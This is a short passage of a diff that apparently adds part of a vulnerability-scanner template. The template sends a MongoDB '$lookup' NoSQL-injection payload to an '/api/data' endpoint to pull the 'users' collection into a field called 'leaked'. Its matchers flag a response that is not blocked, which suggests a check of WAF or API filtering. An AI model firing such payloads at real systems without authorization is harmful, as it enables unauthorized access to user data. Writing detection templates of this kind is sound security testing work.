+ - "{{BaseURL}}/api/data"
150
+ headers:
151
+ Content-Type: "application/json"
152
+ body: '[{"$lookup":{"from":"users","localField":"_id","foreignField":"_id","as":"leaked"}}]'
153
+
154
+ matchers-condition: and
155
+ matchers:
156
+ - type: dsl
157
+ dsl:
158
+ - "status_code != 403 && status_code != 406"
159
+ - type: word
160
+ part: body
161
+ words:
162
+ - "403"
163
+ - "Forbidden"
164
+ - "blocked"
165
+ negative: true
166
+ condition: or